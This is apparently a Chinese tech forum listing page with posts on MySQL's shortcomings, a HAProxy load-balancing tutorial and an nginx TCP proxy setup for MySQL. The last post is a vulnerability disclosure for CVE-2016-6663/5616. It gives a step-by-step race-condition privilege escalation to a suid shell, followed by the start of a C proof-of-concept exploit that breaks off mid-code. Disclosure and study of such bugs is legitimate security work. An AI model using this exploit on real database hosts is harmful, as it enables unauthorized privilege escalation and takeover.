架构|存储

架构|存储

如何查找Redis中key对应的大小和排序?

开源技术采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 74 次浏览 • 2017-01-05 12:26 • 来自相关话题

MYSQL的八大缺陷

数据库小白菜 发表了文章 • 0 个评论 • 118 次浏览 • 2016-12-29 11:39 • 来自相关话题

MySQL体积小,速度快,功能丰富,总体拥有成本低。它还是一个开源的关联式数据库管理系统,它的伟大成就说明了一个成功的公司是可以建立在开源之上的。
 
虽然用过mysql的人都曾对其出现的问题而抓狂,但只要是机器,总避免不了出问题的,更何况是一种每秒能保存成千上万行互联网数据,你怎么保证它一点错误都没有呢?
 
以下列举了8个开源关系型数据库的缺陷,其中不仅限于MySQL,还有是针对关系型数据库的。只有明白了关系型数据库和MySQL,才能更好地避免在使用MySQL中尽量少地遇到一些意外。
 

1、无法避免的bugs

任何一个软件包都有bug。但稍微深入了解一下,就会发现和Mysql相关的bugs自成体系。突然你就需要留心,因为NULL并不是以同样的方式出现,外键约束也没有像你想像的那样执行,连主键自动增长也会出错。

到处都避免不了小问题,而且并不总是可以修复的,这就是为什么一些人保持一个列表。还好MySQL维护着一个非常好的bug报告系统,让我们可以知道我些我们无法想像的事情,知道其他人也在经受同样的磨难。
 

2、关系表的不灵活性

关系表具有条理性是好的,但这迫使程序员要编造或把一些数据塞到已经定义好模式的列中。NoSQL之所以越来越受欢迎,其中一个原因就是它为程序员提供了足够的灵活性,以加速数据库的使用。如果一个街道地址需要增加一行,那么,你可以将它很容易地插入到一个NoSQL文档中。如果你想添加一个完整的新的数据块,无论它包含什么内容,文档模型也可以原封不动地接受你的数据,而不必改为它要求的数据格式。

假设你用整数格式建立了一个全部是邮编的表格。这个表十分高效,执行规则也很好。可是有一次,有人上传了一个使用了连字符的九位数邮编。或者说你得到了一位来自他国的客户的信件,上面写有邮政编码。这时,你会感到一切都乱了。老板要求网站要在几小时内恢复正常工作。然而,你已经没有时间重建数据库。程序员可以做什么?使用黑客手段把这位客户的邮政编码由base 64的数字格式改为base 10格式?或者设置一个使用转义编码的辅助表格,用来说明真正的邮政编码或者其他?危险的黑客无处不在,但你没有时间来搞定它。

MySQL的关联规则让每个人都诚实和谨慎,但它能强制我们避开易受攻击和欺骗的麻烦。
 

3、存储引擎混乱

总体来说,Mysql的存储引擎接口定义还算良好的。MySQL不是实际上的同一的数据库。它是由几个数据库组成,它们的大多数细节都被统一的表面掩盖了。开始时有一个MyISAM引擎,它很快但在前后一致上不能做到完备。有时你需要速度并且可以接受不一致的结果时是很好的。

当人们需要更多时,具备完整事务支持的Inno DB出现了。但这还不够。现在,它可能有20种存储引擎的选择——这足以使一个数据库管理员疯狂。当然,有时在不同的存储引擎之间切换而不必重写你的SQL是很好的,但是切换后总会带来混乱。这个表格我选择的引擎是MyISAM还是innoDB呢?或者,我决定输出的数据是CSV格式的吗?
 

4、JOIN联合查询

曾经,将数据分表保存是计算机科学史上的伟大创新。分开后的表不仅结构简单,使用上也简化了许多。但它却需要使用join语句来进行查询。

sql通过一系列join构建的复杂查询将开发者推入了困惑与绝望的深渊。而且存储引擎也需要以最优的方式来高效地解析join语句。开发者需要绞尽脑汁编写查询语句,然后数据库对其进行解析。

这就是很多注重运行速度的开发者放弃数据分表转而使用不规范数据表的原因。不区分数据实体,将所有数据保存到一个大表中——以避免复杂的查询。这样确实很快,并且服务器也不会耗尽内存。

现在的磁盘空间很廉价。8TB的磁盘已经在售,更大容量的也将上市。我们不再需要为使用join而绞尽脑汁了。
 

5、分支的混乱

毋庸置疑,一个可靠的、得到良好支持的MySQL分支,可以带来竞争和选择,但是它也引起困惑和混乱。更糟糕的是,一个称为MariaDB的MySQL分支,由Monty Widenius维护着。他同样也在参与编写MySQL。那么,Maria DB是真正独立的值得我们拥护的吗?或者它是MySQL?我们是否应该坚持使用由创建原始mysql数据库的组织运营的核心代码?或者我们应该加入那些被认为更聪明的,往往很酷的背叛者?

如何获取关于兼容性的信息?虽然Maria DB和MySQL十分相似,但它们之间也有差异。这就是大家一直都在争论它的原因。在性能方面,在我们查询的范围内,在两个阵营中,也许它们的工作方式相同,但也许不同,也许将来会不同。
 

6、开发MySQL的动机

虽然MySQL是一款成功的开源产品,但它仍属于商业中的一款产品,专业开发者需要靠它来获得利益,当然,最直接的利益就是薪资。当大多数用户在持续地享受开源许可证带来的最佳体验时,毫无疑问这家公司还在为赚取足够的钱来维持运营而努力。这导致自由代码在“社区版”和出售给企业的完整产品之间产生了奇怪的分岐。

我们应该对这款产品付钱吗?这种在社区版开展经营的行为是否公平?企业版中额外的功能是不是一个噱头,以引诱我们不断付费的呢?这至少说明一点,它是另一些需要回答的问题:选用哪个版本?遵照哪种许可证?选用它的哪个功能集?
 

7、原生JSON支持的缺乏

通过安装MySQL查看其年龄,然后你就知道需要添加哪些驱动程序使它变得可用。MySQL通常在3306端口上通信,一般输出的是它本身难以理解的格式化数据。如果要让你的代码和它通信,你必须添加另一层代码,将MySQL的语言转换成有用的东西。这些层的代码,以库的形式分发,经常需要人们购买一个商业许可证。

现代数据存储层通常直接以JSON通信。虽然MySQL和Maria DB现在有能力解析SQL中的JSON部分,但这还远远不够,原生的JSON接口已经被广泛使用于CouchDB、MongoDB,或任何最新的工具中。
 

8、封闭源和专有模块的兴起

虽然MySQL是开源的,但除了一些在”开源核心“周边开发的一些较新的、非开源的代码和专有模块。程序员也需要赚钱、需要生活,Oracle需要拿它的辛苦成果来换钱,这是一种现实,也是商业的性质。使用MySQL你也不可以免费得到任何东西。

要求MySQL始终坚持在一个很高的标准上,这有点不公平,因为开源的成功可能是一个圈套。它开始可以免费,但并不意味着它可以始终免费。如果企业需要更多新的功能,他们就要通过各种方式付费来获取。有时向Oracle付费,比自己来编写代码要便宜得多。有时商业的、不开源的代码是有意义的。

MySQL虽然作为一个成功的开源系统,但以上这些问题也总不可避免地出现,这就需要我们在它们发生之前有个深刻的认识,才能在今后的应用中避免不必要的麻烦。 查看全部
MYSQL.png

MySQL体积小,速度快,功能丰富,总体拥有成本低。它还是一个开源的关联式数据库管理系统,它的伟大成就说明了一个成功的公司是可以建立在开源之上的。
 
虽然用过mysql的人都曾对其出现的问题而抓狂,但只要是机器,总避免不了出问题的,更何况是一种每秒能保存成千上万行互联网数据,你怎么保证它一点错误都没有呢?
 
以下列举了8个开源关系型数据库的缺陷,其中不仅限于MySQL,还有是针对关系型数据库的。只有明白了关系型数据库和MySQL,才能更好地避免在使用MySQL中尽量少地遇到一些意外。
 


1、无法避免的bugs


任何一个软件包都有bug。但稍微深入了解一下,就会发现和Mysql相关的bugs自成体系。突然你就需要留心,因为NULL并不是以同样的方式出现,外键约束也没有像你想像的那样执行,连主键自动增长也会出错。

到处都避免不了小问题,而且并不总是可以修复的,这就是为什么一些人保持一个列表。还好MySQL维护着一个非常好的bug报告系统,让我们可以知道我些我们无法想像的事情,知道其他人也在经受同样的磨难。
 


2、关系表的不灵活性


关系表具有条理性是好的,但这迫使程序员要编造或把一些数据塞到已经定义好模式的列中。NoSQL之所以越来越受欢迎,其中一个原因就是它为程序员提供了足够的灵活性,以加速数据库的使用。如果一个街道地址需要增加一行,那么,你可以将它很容易地插入到一个NoSQL文档中。如果你想添加一个完整的新的数据块,无论它包含什么内容,文档模型也可以原封不动地接受你的数据,而不必改为它要求的数据格式。

假设你用整数格式建立了一个全部是邮编的表格。这个表十分高效,执行规则也很好。可是有一次,有人上传了一个使用了连字符的九位数邮编。或者说你得到了一位来自他国的客户的信件,上面写有邮政编码。这时,你会感到一切都乱了。老板要求网站要在几小时内恢复正常工作。然而,你已经没有时间重建数据库。程序员可以做什么?使用黑客手段把这位客户的邮政编码由base 64的数字格式改为base 10格式?或者设置一个使用转义编码的辅助表格,用来说明真正的邮政编码或者其他?危险的黑客无处不在,但你没有时间来搞定它。

MySQL的关联规则让每个人都诚实和谨慎,但它能强制我们避开易受攻击和欺骗的麻烦。
 


3、存储引擎混乱


总体来说,Mysql的存储引擎接口定义还算良好的。MySQL不是实际上的同一的数据库。它是由几个数据库组成,它们的大多数细节都被统一的表面掩盖了。开始时有一个MyISAM引擎,它很快但在前后一致上不能做到完备。有时你需要速度并且可以接受不一致的结果时是很好的。

当人们需要更多时,具备完整事务支持的Inno DB出现了。但这还不够。现在,它可能有20种存储引擎的选择——这足以使一个数据库管理员疯狂。当然,有时在不同的存储引擎之间切换而不必重写你的SQL是很好的,但是切换后总会带来混乱。这个表格我选择的引擎是MyISAM还是innoDB呢?或者,我决定输出的数据是CSV格式的吗?
 


4、JOIN联合查询


曾经,将数据分表保存是计算机科学史上的伟大创新。分开后的表不仅结构简单,使用上也简化了许多。但它却需要使用join语句来进行查询。

sql通过一系列join构建的复杂查询将开发者推入了困惑与绝望的深渊。而且存储引擎也需要以最优的方式来高效地解析join语句。开发者需要绞尽脑汁编写查询语句,然后数据库对其进行解析。

这就是很多注重运行速度的开发者放弃数据分表转而使用不规范数据表的原因。不区分数据实体,将所有数据保存到一个大表中——以避免复杂的查询。这样确实很快,并且服务器也不会耗尽内存。

现在的磁盘空间很廉价。8TB的磁盘已经在售,更大容量的也将上市。我们不再需要为使用join而绞尽脑汁了。
 


5、分支的混乱


毋庸置疑,一个可靠的、得到良好支持的MySQL分支,可以带来竞争和选择,但是它也引起困惑和混乱。更糟糕的是,一个称为MariaDB的MySQL分支,由Monty Widenius维护着。他同样也在参与编写MySQL。那么,Maria DB是真正独立的值得我们拥护的吗?或者它是MySQL?我们是否应该坚持使用由创建原始mysql数据库的组织运营的核心代码?或者我们应该加入那些被认为更聪明的,往往很酷的背叛者?

如何获取关于兼容性的信息?虽然Maria DB和MySQL十分相似,但它们之间也有差异。这就是大家一直都在争论它的原因。在性能方面,在我们查询的范围内,在两个阵营中,也许它们的工作方式相同,但也许不同,也许将来会不同。
 


6、开发MySQL的动机


虽然MySQL是一款成功的开源产品,但它仍属于商业中的一款产品,专业开发者需要靠它来获得利益,当然,最直接的利益就是薪资。当大多数用户在持续地享受开源许可证带来的最佳体验时,毫无疑问这家公司还在为赚取足够的钱来维持运营而努力。这导致自由代码在“社区版”和出售给企业的完整产品之间产生了奇怪的分岐。

我们应该对这款产品付钱吗?这种在社区版开展经营的行为是否公平?企业版中额外的功能是不是一个噱头,以引诱我们不断付费的呢?这至少说明一点,它是另一些需要回答的问题:选用哪个版本?遵照哪种许可证?选用它的哪个功能集?
 


7、原生JSON支持的缺乏


通过安装MySQL查看其年龄,然后你就知道需要添加哪些驱动程序使它变得可用。MySQL通常在3306端口上通信,一般输出的是它本身难以理解的格式化数据。如果要让你的代码和它通信,你必须添加另一层代码,将MySQL的语言转换成有用的东西。这些层的代码,以库的形式分发,经常需要人们购买一个商业许可证。

现代数据存储层通常直接以JSON通信。虽然MySQL和Maria DB现在有能力解析SQL中的JSON部分,但这还远远不够,原生的JSON接口已经被广泛使用于CouchDB、MongoDB,或任何最新的工具中。
 


8、封闭源和专有模块的兴起


虽然MySQL是开源的,但除了一些在”开源核心“周边开发的一些较新的、非开源的代码和专有模块。程序员也需要赚钱、需要生活,Oracle需要拿它的辛苦成果来换钱,这是一种现实,也是商业的性质。使用MySQL你也不可以免费得到任何东西。

要求MySQL始终坚持在一个很高的标准上,这有点不公平,因为开源的成功可能是一个圈套。它开始可以免费,但并不意味着它可以始终免费。如果企业需要更多新的功能,他们就要通过各种方式付费来获取。有时向Oracle付费,比自己来编写代码要便宜得多。有时商业的、不开源的代码是有意义的。

MySQL虽然作为一个成功的开源系统,但以上这些问题也总不可避免地出现,这就需要我们在它们发生之前有个深刻的认识,才能在今后的应用中避免不必要的麻烦。

Mysql同步错误Last_SQL_Errno: 1054

数据库Geek小A 回复了问题 • 2 人关注 • 1 个回复 • 120 次浏览 • 2016-12-27 23:28 • 来自相关话题

MySQL:reading initial communication packet

数据库Nock 回复了问题 • 2 人关注 • 1 个回复 • 78 次浏览 • 2016-12-24 20:56 • 来自相关话题

Mysql导入中文乱码问题

数据库采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 98 次浏览 • 2016-12-19 19:29 • 来自相关话题

Centos7下使用Harpoxy负载均衡Apache

开源技术koyo 发表了文章 • 0 个评论 • 199 次浏览 • 2016-11-21 18:41 • 来自相关话题

 

什么是HAProxy

HAProxy是一个免费的,快速和可靠的解决方案提供高可用性、负载均衡,并为TCP代理和基于http的应用程序。特别适合高流量网站和高并发网站。
 

环境说明

操作系统:Centos 7
主机分布:1 haproxy server, 3 client 
IP & Hostname :
192.168.0.50 server.rootworld.in
192.168.0.51 web1.rootworld.in
192.168.0.52 web2.rootworld.in
192.168.0.53 web3.rootworld.in
1、在客户端机器上安装web服务器
 
WEB1
[root@web1 ~]# yum install httpd -y
[root@web1 ~]# systemctl enable httpd.service
[root@web1 ~]# systemctl start httpd.service
WEB2
[root@web2 ~]# yum install httpd -y
[root@web2 ~]# systemctl enable httpd.service
[root@web2 ~]# systemctl start httpd.service
WEB3
[root@web3 ~]# yum install httpd -y
[root@web3 ~]# systemctl enable httpd.service
[root@web3 ~]# systemctl start httpd.service
2、检查您的web服务器工作正常。
 
3、安装HAProxy Server.
[root@server ~]# yum install haproxy openssl-devel -y
 4、配置HAPorxy的主配置文件/etc/haproxy/haproxy.cfg,修改log日志位置
[root@server ~]# vim /etc/haproxy/haproxy.cfg



 
5、配置启动UDP syslog reception 在/etc/rsyslog.conf配置文件中,并且把Haproxy日志单独放到/var/log目录下。
[root@server ~]# vim /etc/rsyslog.conf
$ModLoad imudp
$UDPServerRun 514



 
6、在/etc/rsyslog.d/目录下配置haproxy.conf文件配置单独的log文件
[root@server ~]# vim /etc/rsyslog.d/haproxy.conf
local2.* /var/log/haproxy.log



 
7、重启syslog服务,更新配置
[root@server ~]# service rsyslog restart
8、按照需求配置/etc/haproxy/haproxy.cfg文件
[root@server ~]# vim /etc/haproxy/haproxy.cfg
9、为均衡器在/etc/haproxy/haproxy.cfg配置前端和后端
# Configuration for HTTP site

listen server 192.168.0.50:80
bind *:80
default_backend LBbackend


backend LBbackend
mode http
server web1 192.168.0.51:80 check
server web1 192.168.0.52:80 check
server web1 192.168.0.53:80 check
stats enable
stats hide-version
stats uri /stats
stats realm Haproxy\ Statistics
stats auth admin:redhat
balance roundrobin
option httpchk
option httpclose
option forwardfor
cookie LB insert



 
10、重启HAProxy服务并启用
[root@server ~]# systemctl enable haproxy.service
[root@server ~]# systemctl restart haproxy.service
[root@server ~]# systemctl status haproxy.service



 
11、验证HAProxy负载均衡器
http://192.168.0.50/











 
12、打开HAProxy监控服务面板
http://192.168.0.50/stats 查看全部
ha-proxy_load-balancing.png

 


什么是HAProxy


HAProxy是一个免费的,快速和可靠的解决方案提供高可用性、负载均衡,并为TCP代理和基于http的应用程序。特别适合高流量网站和高并发网站。
 


环境说明


操作系统:Centos 7
主机分布:1 haproxy server, 3 client 
IP & Hostname
192.168.0.50    server.rootworld.in 
192.168.0.51 web1.rootworld.in
192.168.0.52 web2.rootworld.in
192.168.0.53 web3.rootworld.in

1、在客户端机器上安装web服务器
 
WEB1
[root@web1 ~]# yum install httpd -y
[root@web1 ~]# systemctl enable httpd.service
[root@web1 ~]# systemctl start httpd.service

WEB2
[root@web2 ~]# yum install httpd -y
[root@web2 ~]# systemctl enable httpd.service
[root@web2 ~]# systemctl start httpd.service

WEB3
[root@web3 ~]# yum install httpd -y
[root@web3 ~]# systemctl enable httpd.service
[root@web3 ~]# systemctl start httpd.service

2、检查您的web服务器工作正常。
 
3、安装HAProxy Server.
[root@server ~]# yum install haproxy openssl-devel -y 

 4、配置HAPorxy的主配置文件/etc/haproxy/haproxy.cfg,修改log日志位置
[root@server ~]# vim /etc/haproxy/haproxy.cfg 
logconf.PNG

 
5、配置启动UDP syslog reception 在/etc/rsyslog.conf配置文件中,并且把Haproxy日志单独放到/var/log目录下。
[root@server ~]# vim /etc/rsyslog.conf
$ModLoad imudp
$UDPServerRun 514
rsyslogconf.PNG

 
6、在/etc/rsyslog.d/目录下配置haproxy.conf文件配置单独的log文件
[root@server ~]# vim /etc/rsyslog.d/haproxy.conf
local2.* /var/log/haproxy.log
logro.PNG

 
7、重启syslog服务,更新配置
[root@server ~]# service rsyslog restart

8、按照需求配置/etc/haproxy/haproxy.cfg文件
[root@server ~]# vim /etc/haproxy/haproxy.cfg

9、为均衡器在/etc/haproxy/haproxy.cfg配置前端和后端
# Configuration for HTTP site

listen server 192.168.0.50:80
bind *:80
default_backend LBbackend


backend LBbackend
mode http
server web1 192.168.0.51:80 check
server web1 192.168.0.52:80 check
server web1 192.168.0.53:80 check
stats enable
stats hide-version
stats uri /stats
stats realm Haproxy\ Statistics
stats auth admin:redhat
balance roundrobin
option httpchk
option httpclose
option forwardfor
cookie LB insert
haconfig.PNG

 
10、重启HAProxy服务并启用
[root@server ~]# systemctl enable haproxy.service
[root@server ~]# systemctl restart haproxy.service
[root@server ~]# systemctl status haproxy.service
harestart.PNG

 
11、验证HAProxy负载均衡器
http://192.168.0.50/
web1.PNG

web2.PNG

web3.PNG

 
12、打开HAProxy监控服务面板
 http://192.168.0.50/stats
hagui.PNG

Nginx负载均衡MYSQL数据库

开源技术being 发表了文章 • 0 个评论 • 232 次浏览 • 2016-11-09 14:16 • 来自相关话题

默认Nginx只支持http的反向代理,要想nginx支持tcp的反向代理,还需要在编译时增加tcp代理模块支持,即nginx_tcp_proxy_module,具体实现如下。
 

一、编译安装

添加nginx支持tcp_proxy模块,如需其他功能自动编译其他模块,例如:prce、gzip、ssl等功能。
cd /usr/local/src/
wget "https://github.com/yaoweibin/nginx_tcp_proxy_module/archive/master.zip"
mkdir -pv /data/ModulePlugin && unzip master.zip -d /data/ModulePlugin/
wget 'http://nginx.org/download/nginx-1.2.1.tar.gz'
tar -xzvf nginx-1.2.1.tar.gz
cd nginx-1.2.1/
patch -p1 < /data/ModulePlugin/nginx_tcp_proxy_module-master/tcp.patch
./configure --prefix=/usr/local/nginx --add-module=/data/ModulePlugin/nginx_tcp_proxy_module-master/ --with-http_stub_status_module --with-http_gzip_static_module
make
make install

 
 

二、添加配置

1、在主配置文件nginx.conf 中include 加载目录
user nobody;
worker_processes 4;

error_log logs/error.log info;

pid logs/nginx.pid;


events {
worker_connections 2048;
}

include /usr/local/nginx/conf/vhost/*.conf;

http {
include mime.types;
default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

access_log logs/access.log main;

sendfile on;
#tcp_nopush on;

keepalive_timeout 65;
#gzip on;

server {
listen 3306;
server_name udb.com;

#charset utf-8;

location / {
root html;
index index.html index.htm;
}

location /nginx_status {
stub_status on;
access_log logs/nginx_status.log;
allow 10.0.1.136;
deny all;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}

}

}/usr/local/nginx/conf/vhost/proxy_mysql.conf 内容如下:
tcp {
upstream mysqldb {
server 10.0.1.138:3306;
server 10.0.1.139:3306;

check interval=3000 rise=2 fall=5 timeout=1000;
#check interval=3000 rise=2 fall=5 timeout=1000
#check interval=3000 rise=2 fall=5 timeout=1000
#check_http_send "GET /HTTP/1.0\r\n\r\n";
#check_http_expect_alive http_2xxhttp_3xx;
}

server {
listen 3307;
proxy_pass mysqldb;
}
}参数说明:
check interval 健康检查,单位是毫秒
rise 检查几次正常后,将reslserver加入以负载列表中
fall 检查几次失败后,摘除realserver
timeout 检查超时时间,单位许毫秒
具体可查看nginx_tcp_proxy_module-master/README,也可以查看:https://github.com/yaoweibin/nginx_tcp_proxy_module 。 查看全部
Nginx_Proxy_Mysql.png

默认Nginx只支持http的反向代理,要想nginx支持tcp的反向代理,还需要在编译时增加tcp代理模块支持,即nginx_tcp_proxy_module,具体实现如下。
 


一、编译安装


添加nginx支持tcp_proxy模块,如需其他功能自动编译其他模块,例如:prce、gzip、ssl等功能。
cd /usr/local/src/
wget "https://github.com/yaoweibin/nginx_tcp_proxy_module/archive/master.zip"
mkdir -pv /data/ModulePlugin && unzip master.zip -d /data/ModulePlugin/
wget 'http://nginx.org/download/nginx-1.2.1.tar.gz'
tar -xzvf nginx-1.2.1.tar.gz
cd nginx-1.2.1/
patch -p1 < /data/ModulePlugin/nginx_tcp_proxy_module-master/tcp.patch
./configure --prefix=/usr/local/nginx --add-module=/data/ModulePlugin/nginx_tcp_proxy_module-master/ --with-http_stub_status_module --with-http_gzip_static_module
make
make install

 
 


二、添加配置


1、在主配置文件nginx.conf 中include 加载目录
user  nobody;
worker_processes 4;

error_log logs/error.log info;

pid logs/nginx.pid;


events {
worker_connections 2048;
}

include /usr/local/nginx/conf/vhost/*.conf;

http {
include mime.types;
default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

access_log logs/access.log main;

sendfile on;
#tcp_nopush on;

keepalive_timeout 65;
#gzip on;

server {
listen 3306;
server_name udb.com;

#charset utf-8;

location / {
root html;
index index.html index.htm;
}

location /nginx_status {
stub_status on;
access_log logs/nginx_status.log;
allow 10.0.1.136;
deny all;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}

}

}
/usr/local/nginx/conf/vhost/proxy_mysql.conf 内容如下:
tcp {
upstream mysqldb {
server 10.0.1.138:3306;
server 10.0.1.139:3306;

check interval=3000 rise=2 fall=5 timeout=1000;
#check interval=3000 rise=2 fall=5 timeout=1000
#check interval=3000 rise=2 fall=5 timeout=1000
#check_http_send "GET /HTTP/1.0\r\n\r\n";
#check_http_expect_alive http_2xxhttp_3xx;
}

server {
listen 3307;
proxy_pass mysqldb;
}
}
参数说明:
check interval 健康检查,单位是毫秒
rise 检查几次正常后,将reslserver加入以负载列表中
fall 检查几次失败后,摘除realserver
timeout 检查超时时间,单位许毫秒
具体可查看nginx_tcp_proxy_module-master/README,也可以查看:https://github.com/yaoweibin/nginx_tcp_proxy_module

MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞

数据库Geek小A 发表了文章 • 0 个评论 • 181 次浏览 • 2016-11-03 13:53 • 来自相关话题

漏洞发现人:Dawid Golunski
漏洞级别:严重
CVE编号 :CVE-2016-6663 / CVE-2016-5616
 
漏洞影响:




 
漏洞描述 :
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
 
漏洞细节:
基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:
attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/可以通过data directory参数指定存储目录为/tmp/disktable/
 
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';执行完成后,查看下目录权限,变为mysqlattacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。
mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status | OK |
+----------------+--------+----------+----------+通过查看系统调用,可以看到
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid 1463] lseek(65, 0, SEEK_CUR) = 0
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] lseek(64, 0, SEEK_END) = 1024
[pid 1463] close(65) = 0
[pid 1463] close(66) = 0
[pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0第一个系统调用是
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0和
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0系统调用之间,产生了条件竞争漏洞。

如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。

攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将只会保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。

可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/通过data directory参数指定存储目录为/tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)再次查看/tmp/disktable/权限attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。

漏洞验证:








 
POC
------------------[ mysql-privesc-race.c ]--------------------
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
* For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {

if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
